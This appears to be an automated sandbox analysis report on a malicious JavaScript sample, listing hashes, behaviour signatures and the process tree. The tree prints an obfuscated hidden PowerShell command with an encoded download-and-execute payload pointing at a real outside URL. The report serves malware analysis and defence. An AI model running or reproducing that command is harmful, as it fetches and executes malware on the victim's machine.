Analysis
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max time kernel
149s -
max time network
154s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system -
submitted
06-09-2022 16:08
Static task
static1
Behavioral task
behavioral1
Sample
fqt145254.js
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
fqt145254.js
Resource
win10v2004-20220812-en
General
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Target
fqt145254.js
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Size
286KB
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MD5
23a177986f5397d5028a1dc587b465f5
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SHA1
68085cb719054e73dd3c527578ad7f89960bf649
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SHA256
d167ab99ec55cea50a5723c49dcbd0031ede7b21886b32e76bd011a11ee65acb
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SHA512
d839b742825a94ad82fe7cf921cb6ac9c0962bae3f0e7b9be8c7598a4f7ff28ce6218f8860f49df3b405aa5428bbba9e3903edf1983a7dcbf9c33e07eee69ddd
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SSDEEP
3072:qrjVJySRCL1ddImO3NwSa0wQwRCijyQL7oebGpTLW+B57wtB:qASkdIn9lpQL7oebGRLQB
Malware Config
Extracted
https://freedompublishingbooks.com.au/index/
Signatures
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Blocklisted process makes network request 1 IoCs
flow pid Process 14 4944 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation wscript.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4944 powershell.exe 4944 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4944 powershell.exe -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 3408 wrote to memory of 4072 3408 wscript.exe 83 PID 3408 wrote to memory of 4072 3408 wscript.exe 83 PID 4072 wrote to memory of 4944 4072 cmd.exe 85 PID 4072 wrote to memory of 4944 4072 cmd.exe 85
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\fqt145254.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3408 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c pOwErShElL -NoP -w hIDdeN -eP BYPAsS -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwBmAHIAZQBlAGQAbwBtAHAAdQBiAGwAaQBzAGgAaQBuAGcAYgBvAG8AawBzAC4AYwBvAG0ALgBhAHUALwBpAG4AZABlAHgALwAiACkA2⤵
- Suspicious use of WriteProcessMemory
PID:4072 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepOwErShElL -NoP -w hIDdeN -eP BYPAsS -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwBmAHIAZQBlAGQAbwBtAHAAdQBiAGwAaQBzAGgAaQBuAGcAYgBvAG8AawBzAC4AYwBvAG0ALgBhAHUALwBpAG4AZABlAHgALwAiACkA3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4944
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